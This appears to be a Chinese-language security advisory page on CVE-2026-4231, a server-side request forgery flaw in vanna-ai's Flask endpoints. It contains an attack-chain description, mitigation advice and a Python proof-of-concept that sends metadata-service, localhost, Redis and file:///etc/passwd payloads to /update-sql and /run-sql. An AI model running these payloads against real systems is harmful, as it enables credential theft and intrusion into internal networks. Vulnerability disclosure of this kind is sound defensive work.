IPBUF安全漏洞报告
English
CVE-2026-4231 CVSS 7.3 高危

CVE-2026-4231 vanna-ai SSRF服务器端请求伪造漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4231
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vanna-ai vanna

相关标签

服务器端请求伪造SSRFvanna-ai远程代码执行高危漏洞CVE-2026-4231Web安全Flask

漏洞概述

CVE-2026-4231是vanna-ai vanna 2.0.2及之前版本中存在的一个高危服务器端请求伪造(SSRF)漏洞。该漏洞位于src/vanna/legacy/flask/__init__.py文件中的update_sql和run_sql函数中,攻击者可以通过构造恶意的HTTP请求,操纵服务端向任意内部或外部资源发起请求。由于该漏洞可被远程利用且无需认证,攻击者可以借此访问内网服务、读取敏感数据或对内部系统进行进一步攻击。该漏洞的CVSS评分为7.3(高危),攻击复杂度低,影响机密性、完整性和可用性。漏洞已被公开披露,厂商在收到通知后未做任何响应。

技术细节

vanna-ai是一个用于自然语言处理和SQL生成的AI框架。在src/vanna/legacy/flask/__init__.py中实现的update_sql和run_sql端点存在SSRF漏洞。攻击者可以通过在请求参数中注入恶意URL(如file://、http://localhost、http://127.0.0.1等协议),诱使服务端向指定目标发起请求。由于服务端会处理响应并将结果返回给攻击者,攻击者可以借此探测内网服务、读取本地文件(如file:///etc/passwd)、访问云元数据服务(http://169.254.169.254/)或扫描内网端口。漏洞根源在于应用程序直接使用用户可控的输入构建HTTP请求,而未进行充分的输入验证和URL白名单限制。攻击者还可以利用该漏洞绕过防火墙,攻击内网中的其他服务。

攻击链分析

STEP 1
1
攻击者发现vanna-ai服务暴露的/update-sql或/run-sql端点
STEP 2
2
攻击者构造包含恶意URL的请求(如http://169.254.169.254/),注入到sql或url参数中
STEP 3
3
服务端直接使用攻击者提供的URL发起HTTP请求,未进行输入验证
STEP 4
4
服务端将请求结果(敏感数据)返回给攻击者,实现信息窃取
STEP 5
5
攻击者利用获取的信息(如云凭证、内网配置)进一步横向移动或深度渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-4231 SSRF PoC for vanna-ai vanna <= 2.0.2 # Target: http://target.com:5000 target = "http://target.com:5000" # Target internal metadata service payloads = [ "http://169.254.169.254/latest/meta-data/", "http://localhost:22/", "file:///etc/passwd", "http://127.0.0.1:6379/info" ] headers = { "Content-Type": "application/json" } for payload in payloads: # Test update_sql endpoint data = { "sql": f"SELECT '{payload}'", "vanna_connection": { "url": payload } } try: response = requests.post( f"{target}/update-sql", json=data, headers=headers, timeout=10 ) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) except Exception as e: print(f"Error with payload {payload}: {e}") # Alternative: Direct SSRF via run_sql ssrf_data = { "question": "test", "custom_id": "test", "url": "http://internal-service:8080/admin" } response = requests.post( f"{target}/run-sql", json=ssrf_data, headers=headers, timeout=10 ) print(f"SSRF Response: {response.text[:500]}")

影响范围

vanna-ai vanna <= 2.0.2

防御指南

临时缓解措施
在修复补丁发布前,可通过以下措施临时缓解:1)使用网络层访问控制,禁止服务器访问内网IP段和云元数据端点;2)部署WAF规则拦截包含内网IP(127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)和云元数据URL的请求;3)对/update-sql和/run-sql端点实施认证和速率限制;4)将vanna服务部署在隔离的网络环境中,限制其网络访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表